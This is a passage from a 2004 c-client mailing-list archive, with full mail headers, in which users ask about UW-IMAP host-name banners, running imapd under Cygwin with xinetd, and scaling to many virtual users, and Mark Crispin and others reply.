In-Reply-To: References: <412778F7.8010108@arcor.de> <41277A7C.1030209@arcor.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Enigmail-Version: 0.84.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=XI, Probability=11%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MOZILLA_MSGID 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Marc, thanks for making that clear. I guess I'll switch from POP3 to IMAP then. ;-) Thanks! Florian From pinedev@shivax2.cac.washington.edu Sat Aug 28 06:17:50 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 28 Aug 2004 06:17:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7SDHnZd019488 for ; Sat, 28 Aug 2004 06:17:50 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7SDHniV012345 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 28 Aug 2004 06:17:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7SDEc3Q005224; Sat, 28 Aug 2004 06:14:40 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7SDBerc094010 for ; Sat, 28 Aug 2004 06:11:40 -0700 Received: from goofy.effenberger.org (goofy.effenberger.org [217.11.51.18]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7SDBdWI007301 for ; Sat, 28 Aug 2004 06:11:40 -0700 Received: from [192.168.0.5] (pD9EBBFA4.dip.t-dialin.net [217.235.191.164]) by goofy.effenberger.org (SMTP) with ESMTP id A8A8125C08C for ; Sat, 28 Aug 2004 15:11:36 +0200 (CEST) Message-Id: <41308487.70701@effenberger.org> Date: Sat, 28 Aug 2004 15:11:35 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Florian Effenberger To: c-client@u.washington.edu Subject: setting host name for IMAPd MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Enigmail-Version: 0.84.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=XI, Probability=11%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MOZILLA_MSGID 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello there, is there a possibility of setting the host name for IMAPd? Assume my host name is srv037.mydomain.com, however, I have a CNAME of imap.mydomain.com to srv037. I would like to IMAPd to show imap.mydomain.com instead of srv037.mydomain.com in the banner and its headers. Is this possible? Thanks Florian -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Aug 28 23:56:30 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 28 Aug 2004 23:56:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7T6uUtt017959 for ; Sat, 28 Aug 2004 23:56:30 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7T6uTed028732 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 28 Aug 2004 23:56:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7T6srDV016944; Sat, 28 Aug 2004 23:54:53 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7T6pVGe078450 for ; Sat, 28 Aug 2004 23:51:31 -0700 Received: from server883.dnslive.net (server883.dnslive.net [66.78.27.6]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7T6pU6X014626 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 28 Aug 2004 23:51:31 -0700 Received: from c-24-7-106-19.client.comcast.net ([24.7.106.19] helo=[127.0.0.1]) by server883.dnslive.net with asmtp (Exim 4.34) id 1C1JXN-0002wL-Lp for c-client@u.washington.edu; Sun, 29 Aug 2004 02:51:37 -0400 Message-Id: <41317CF4.4070109@overbored.net> Date: Sat, 28 Aug 2004 23:51:32 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: overbored To: c-client@u.washington.edu Subject: Help Running UW-IMAPD Under Cygwin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server883.dnslive.net X-AntiAbuse: Original Domain - u.washington.edu X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - overbored.net X-Source: X-Source-Args: X-Source-Dir: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __NEW_DOMAIN_EXTENSIONS_2 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to get an IMAP server running, and it seems my only option today is uw-imapd. The cygwin package for that is installed, and I created an 'imap' file under xinetd.d with the following: # default: off # description: The IMAP service allows remote users to access their mail using \ # an IMAP client such as Mutt, Pine, fetchmail, or Netscape \ # Communicator. service imap { socket_type = stream wait = no user = root server = /usr/sbin/imapd log_on_success += HOST DURATION log_on_failure += HOST disable = no } But I cannot make any connection to localhost:143 (nothing listening). I can connect to the other xinetd services fine (ftp), just not this one, and I've checked that 'imap' was in /etc/services. I've done a ton of searching to get where I am, but now I'm at a dead end. Any ideas? Another thing...how easy is it to configure UW-IMAP? From what I've read, it seems that *everything* is configured in the source or Makefile (no conf files, etc.). And if I'm not mistaken, UW-IMAP does not directly support Cygwin, and had to be ported over. However, /usr/share/doc/Cygwin/uw-imap-2002e.README says the author (Abraham Backus) further modified it from what's on http://sourceforge.net/projects/uw-imap-cygwin/, so what exactly should I be modifying? The canonical homepage just points to the original UW-IMAP site. I looked for but didn't find any personal website of Abraham Backus. Please let me know if any further info is needed. Thanks in advance! -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Aug 29 07:43:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 07:43:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TEhdgL013847 for ; Sun, 29 Aug 2004 07:43:39 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TEhcLU018576 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 07:43:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7TEg4D4015864; Sun, 29 Aug 2004 07:42:05 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TEcZiR068080 for ; Sun, 29 Aug 2004 07:38:35 -0700 Received: from mail.martynhiemstra.com (62-221-225-145.dsl.fiberworld.nl [62.221.225.145]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TEcY4C011706 for ; Sun, 29 Aug 2004 07:38:34 -0700 Received: from [127.0.0.1] (unknown [192.168.1.104]) by mail.martynhiemstra.com (Postfix) with ESMTP id A14D96F5 for ; Sun, 29 Aug 2004 16:38:43 +0200 (CEST) Message-Id: <4131EA6B.9080708@martynhiemstra.com> Date: Sun, 29 Aug 2004 16:38:35 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Martyn Hiemstra To: c-client@u.washington.edu Subject: uw-imapd not allowing opening of folders from external network MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all I have a question about uw-imapd concerning the opening of folders. I have just installed debian unstable and also uw-imapd. From the internal network everything works fine. I can do everything, open folders move mails to folders etc. From the internet side (outside my internal network), I can only view my Inbox. When I try to open a folder the client just hangs (either mozilla or outlook). I have set the permissions correctly, even to 666 on the filenames in my homedir, I have checked the mail log but it doesnt give any errors. Outlook does give a error about a timeout. I have disabled the firewall on the client side. If I telnet from the client to the server then I can reach port 143. In short, logging in works fine but opening folders just hangs the mail client. Martyn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Aug 29 10:03:38 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 10:03:38 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TH3cPT013921 for ; Sun, 29 Aug 2004 10:03:38 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TH3bRL026537 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 10:03:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7TH1wwE012228; Sun, 29 Aug 2004 10:01:58 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TH0Swm065420 for ; Sun, 29 Aug 2004 10:00:28 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TH0SNG026137 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 10:00:28 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TH0Rci008927; Sun, 29 Aug 2004 10:00:27 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TH0RZo029225; Sun, 29 Aug 2004 10:00:27 -0700 Message-Id: Date: Sun, 29 Aug 2004 10:00:27 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Martyn Hiemstra Cc: c-client@u.washington.edu Subject: Re: uw-imapd not allowing opening of folders from external network In-Reply-To: <4131EA6B.9080708@martynhiemstra.com> References: <4131EA6B.9080708@martynhiemstra.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN There is no distinction between "internal network" and "external network" in UW imapd as distributed by UW. Debian may have made some modifications that created such a thing; so one of the first things that you should try is getting the unmodified UW imapd from: ftp://ftp.cac.washington.edu/mail/imap.tar.Z and (build with "make ldb") see if that version works any better. If it is the same, then I would suggest checking any firewall that you may have to see if it may be filtering IMAP. Firewall filters do all sorts of wierd things and can lead you into a long wild goose chase blaming everything but the actual cause of the problem. Good luck! -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Aug 29 10:09:02 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 10:09:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TH929q015126 for ; Sun, 29 Aug 2004 10:09:02 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TH91f0026862 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 10:09:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7TH7kPR015658; Sun, 29 Aug 2004 10:07:46 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TH6Lxl036656 for ; Sun, 29 Aug 2004 10:06:21 -0700 Received: from rs15.luxsci.com (rs15.luxsci.com [65.61.166.71]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TH6K9T023163 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 10:06:21 -0700 Received: from luxsci.com (h00a0cc5b0d4a.ne.client2.attbi.com [65.96.147.245]) (authenticated bits=0) by rs15.luxsci.com (8.12.11/8.12.10) with ESMTP id i7TH6H1E026363 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 29 Aug 2004 12:06:18 -0500 Message-Id: <41320CFD.1050708@luxsci.com> Date: Sun, 29 Aug 2004 13:06:05 -0400 Reply-To: kangas@luxsci.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Erik Kangas To: Mark Crispin Cc: c-client@u.washington.edu Subject: Supporting a very large number of users on a Linux machine In-Reply-To: References: <412778F7.8010108@arcor.de> <41277A7C.1030209@arcor.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __C230066_P5 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello List/Mark, I am looking at ways to extend UW-IMAP soas to be able to support very large numbers of users on a Linux system. The problem arises from the standard limit of UIDs being <= 65535 on Linux systems without re-compiling the kernel and "taking your chances". There are two issues involved, assuming you have a large number of users: 1. Being able to put more than 65k on one machine 2. Being able to put arbitrary users on arbitrary machines where the UIDs of your users in your DB can be well over 65k. We already have one solution that solves #2 partially by mapping our real global UIDs to local ones for Linux's use on the servers in question; we are looking at other possible solutions that cover both #1 and #2 while still using UW-IMAPd. One idea that I have is to: 1. use pam_mysql for authentication 2. put all the email for all user in 1 nice hashed directory tree that is owned by a SINGLE user 3. modify UW-IMAP to construct the location of a user's subtree within the global tree from the user login (i.e. query mysql). 4. modify UW-IMAP to now allow any access to any files outside the user's subtree. 5. Add any additional code to UW-IMAP so that the users do not have to be in the /etc/passwd file -- all user-specific info is read from mysql. The result, if this is doable in a way that is not very intrusive to UW-IMAP, would be the ability to have any number of users on a machine because they would all be virtual [no real linux users]. Has something like this been done? Are there any serious concerns to be aware of in this type of scenario? What are the main hooks that one should look at for perusing this type of patch? Delivery of email to "virtual" users in a scenario like this is completely doable and we already have a solution for that. Sending authenicated outbound email is very doable. It is only the UW-IMAPd/POP3d component that seems tricky. Thank you, -Erik Kangas PS - While certain other IMAP servers that shall remain nameless do handle this particular user virtualization issue innately, there are certain reasons why we like and want to stick with UW-IMAP. These are mostly requirements such as: * Easy integration of the email store with sendmail/procmail * Fast shared access to email folders (i.e. mbx for indexed formats) * SSL support * Complete and solid and well tested IMAP v4.1 support * Built-in full support for: SEARCH and SORT commands. -- Erik Kangas, Ph.D. --- President of Lux Scientiae, Incorporated Lux Scientiae: 1-800-441-6612 P.O. Box 326 FAX: 1-413-332-0598 Westwood, Massachusetts Cell: 1-617-596-9558 02090, USA AIM Chat: Screen Name "luxsci" kangas@luxsci.com --- http://luxsci.com From pinedev@shivax2.cac.washington.edu Sun Aug 29 10:53:42 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 10:53:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7THrfLQ025292 for ; Sun, 29 Aug 2004 10:53:41 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7THreXB029335 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 10:53:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7THq7i7015268; Sun, 29 Aug 2004 10:52:07 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7THoMNH106166 for ; Sun, 29 Aug 2004 10:50:22 -0700 Received: from rosa.unet.brandeis.edu (rosa.unet.brandeis.edu [129.64.99.167]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7THoLlW001385 for ; Sun, 29 Aug 2004 10:50:22 -0700 Received: from quixote.unet.brandeis.edu (quixote.unet.brandeis.edu [129.64.99.99]) by rosa.unet.brandeis.edu (8.13.1/8.13.1) with ESMTP id i7THoLlB008856 for ; Sun, 29 Aug 2004 13:50:21 -0400 Received: from quixote.unet.brandeis.edu (localhost.localdomain [127.0.0.1]) by quixote.unet.brandeis.edu (8.12.11/8.12.8) with ESMTP id i7THoL1a028669 for ; Sun, 29 Aug 2004 13:50:21 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.12.11/8.12.11/Submit) with ESMTP id i7THoLa6028665 for ; Sun, 29 Aug 2004 13:50:21 -0400 Message-Id: Date: Sun, 29 Aug 2004 13:50:20 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: c-client@u.washington.edu Subject: Re: Supporting a very large number of users on a Linux machine In-Reply-To: <41320CFD.1050708@luxsci.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: quixote.unet.brandeis.edu: rcgraves owned process doing -bs X-X-Sender: rcgraves@quixote.unet.brandeis.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, X_AUTH_WARNING 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 29 Aug 2004, Erik Kangas wrote: > 1. use pam_mysql for authentication > 2. put all the email for all user in 1 nice hashed directory tree that is > 3. modify UW-IMAP to construct the location of a user's subtree within the > 4. modify UW-IMAP to now allow any access to any files outside the user's > 5. Add any additional code to UW-IMAP so that the users do not have to be > in the /etc/passwd file -- all user-specific info is read from mysql. No modifications to imapd should be required for 1-4. Read the docs on blackbox mode. For 5, there are 4 simple functions you can rewrite. Read docs/CONFIG. -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Sun Aug 29 11:13:27 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 11:13:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIDRgk029871 for ; Sun, 29 Aug 2004 11:13:27 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIDQxF030475 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 11:13:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7TIBMPk017132; Sun, 29 Aug 2004 11:11:22 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TI985D052002 for ; Sun, 29 Aug 2004 11:09:08 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TI97MO027585 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 11:09:08 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TI97DF008341; Sun, 29 Aug 2004 11:09:07 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TI97RI030316; Sun, 29 Aug 2004 11:09:07 -0700 Message-Id: Date: Sun, 29 Aug 2004 11:09:07 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Erik Kangas Cc: c-client@u.washington.edu Subject: Re: Supporting a very large number of users on a Linux machine In-Reply-To: <41320CFD.1050708@luxsci.com> References: <412778F7.8010108@arcor.de> <41277A7C.1030209@arcor.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If you need me to elaborate on Rich Graves' reply, please let me know. You don't really need to go as far as black box mode; but the docs/CONFIG file should definitely be at the top of your reading list. The real problem that you have to face is security. imapd uses the UNIX filesystem to authorize file access. If you allow other-user access at all you have to have as many unique access tokens as there are unique users. Otherwise joe would have free access to sally's files, just because joe and sally have the same UNIX UID. If you disable other-user access in imapd (read about restrictBox), then you don't have to worry about this as much. Of course, then you have to trust imapd to make the right checks in all circumstances and that no clever hacker can figure a way around it. I personally believe in 32-bit UNIX UIDs. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Aug 29 11:20:10 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Aug 2004 11:20:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIKAJh031453 for ; Sun, 29 Aug 2004 11:20:10 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIK9qm031667 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 29 Aug 2004 11:20:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7TIJ5hB003762; Sun, 29 Aug 2004 11:19:05 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIHiv3065534 for ; Sun, 29 Aug 2004 11:17:45 -0700 Received: from zion.christianserving.org (zion.christianserving.org [216.87.131.106]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7TIHil0005272 for ; Sun, 29 Aug 2004 11:17:44 -0700 Received: by zion.christianserving.org (Postfix, from userid 79) id D99D6C223F; Sun, 29 Aug 2004 13:17:42 -0500 (CDT) Received: from [192.168.1.240] (nazareth.christianserving.org [216.87.131.110]) by zion.christianserving.org (Postfix) with ESMTP id D9A14C222B; Sun, 29 Aug 2004 